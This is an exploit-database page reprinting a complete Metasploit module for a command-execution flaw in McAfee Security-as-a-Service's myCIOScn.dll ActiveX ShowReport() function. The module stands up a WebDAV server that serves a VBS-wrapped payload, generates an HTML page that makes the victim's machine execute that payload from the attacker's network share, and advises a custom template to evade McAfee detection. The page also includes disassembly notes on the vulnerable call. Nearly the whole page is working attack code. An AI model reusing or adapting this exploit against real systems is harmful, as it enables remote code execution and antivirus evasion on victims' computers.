McAfee SaaS MyCioScan ShowReport Remote Command Execution

2012-01-17 / 2012-01-18
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "McAfee SaaS MyCioScan ShowReport Remote Command Execution", 'Description' => %q{ This module exploits a vulnerability found in McAfee Security-as-a-Service. The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails to check the FileName argument, and passes it on to a ShellExecuteW() function, therefore allows any malicious attacker to execute any process that's on the local system. However, if the victim machine is connected to a remote share ( or something similiar), then it's also possible to execute arbitrary code. Please note that a custom template is required for the payload, because the default Metasploit template is detectable by McAfee -- any Windows binary, such as calc.exe or notepad.exe, should bypass McAfee fine. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', #Initial discovery 'sinn3r', #Metasploit ], 'References' => [ ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'], ], 'Payload' => { 'BadChars' => "\x00", }, 'DefaultOptions' => { 'ExitFunction' => "none", #'InitialAutoRunScript' => 'migrate -f', 'DisablePayloadHandler' => 'false', }, 'Platform' => 'win', 'Targets' => [ ['Internet Explorer', {}], ], 'Privileged' => false, 'DisclosureDate' => "Apr 1 2011", 'DefaultTarget' => 0)) register_options([ OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]), OptString.new('URIPATH', [ true, "The URI to use", "/" ]), OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), OptPath.new('TEMPLATE', [true, 'A custom template for the payload in order to bypass McAfee', '']) ], self.class) end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) print_status("URI requested: #{request.uri.to_s}") if request.uri =~ /\.vbs$/i # Depending on the connection speed, this might take a moment to transfer the # payload and actually get executed send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'}) print_status("executable sent") else # Don't know the request, return not found print_error("Don't care about this file, 404") send_not_found(cli) end return end def process_options(cli, request) vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL' => '<DAV:sql>', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = '' resp['Content-Type'] = 'text/xml' cli.send_response(resp) end def process_propfind(cli, request) path = request.uri vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}") body = '' my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_uri = "http://#{my_host}/" if path !~ /\/$/ if path.index(".") print_status("Sending 404 for #{path} ...") resp = create_response(404, "Not Found") resp['Content-Type'] = 'text/html' cli.send_response(resp) return else print_status("Sending 301 for #{path} ...") resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end print_status("Sending directory multistatus for #{path} ...") body = <<-BODY <?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> BODY body = body.gsub(/^\t\t/, '') if request["Depth"].to_i > 0 if path.scan("/").length < 2 body << generate_shares(path) else # Set payload name, and set the hidden attribute. True means visible filenames = [ [@vbs_name, false] ] body << generate_files(path, filenames) end end body << "</D:multistatus>" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def gen_timestamp(ttype=nil) ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") end def gen_datestamp(ttype=nil) ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") end def generate_shares(path) share_name = datastore['SHARENAME'] share = <<-SHARE <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{share_name}/</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> SHARE share = share.gsub(/^\t\t/, '') return share end def generate_files(path, items) trail = path.split("/") return "" if trail.length < 2 files = "" items.each do |f, hide| h = hide ? '1' : '0' files << <<-FILES <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{f}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> <D:ishidden b:dt="boolean">#{h}</D:ishidden> </D:propstat> </D:response> FILES end files = files.gsub(/^\t\t\t/, '') return files end def get_payload fname = rand_text_alpha(5) + ".vbs" p = payload.encoded exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']}) vbs = Msf::Util::EXE.to_exe_vbs(exe) return fname, vbs end def exploit @vbs_name, @vbs = get_payload # # progid: MYCIOSCNLib.Scan # clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7 # myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST'] obj_name = rand_text_alpha(rand(6) + 3) sub_name = rand_text_alpha(rand(6) + 3) html = <<-HTML <html> <head> </head> <body> <object classid='clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7' id='#{obj_name}'></object> <script language='vbscript'> sub #{sub_name} #{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}\\#{@vbs_name}" end sub #{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}" window.setTimeout "#{sub_name}", 1000 </script> </body> </html> HTML html = html.gsub(/^\t\t/, '') file_create(html) print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload") super end end =begin myCIOScn!CScnXml::SetNumScanned+0x19ab: 2101caf9 55 push ebp 0:003> lmv m myCIOScn start end module name 21000000 2106d000 myCIOScn (export symbols) C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll Image name: myCIOScn.dll Timestamp: Wed Aug 10 11:34:01 2011 (4E42CF19) CheckSum: 0007C3A6 ImageSize: 0006D000 File version: 5.2.3.104 Product version: 5.2.0.0 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: McAfee, Inc. ProductName: McAfeeŸ Security-as-a-Service InternalName: myCioScn OriginalFilename: myCioScn.DLL ProductVersion: 5.2.3 FileVersion: 5.2.3.104 PrivateBuild: 5.2.3.104 SpecialBuild: FULL FileDescription: myCioScn Module .text:2101CB1A push esi .text:2101CB1B push 1 .text:2101CB1D xor esi, esi .text:2101CB1F push esi .text:2101CB20 push esi .text:2101CB21 push eax ; we own this .text:2101CB22 push offset aOpen ; "open" .text:2101CB27 push esi .text:2101CB28 mov [ebp+0A50h+Str], eax .text:2101CB2B call off_2105D350 ; ShellExecuteW =end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top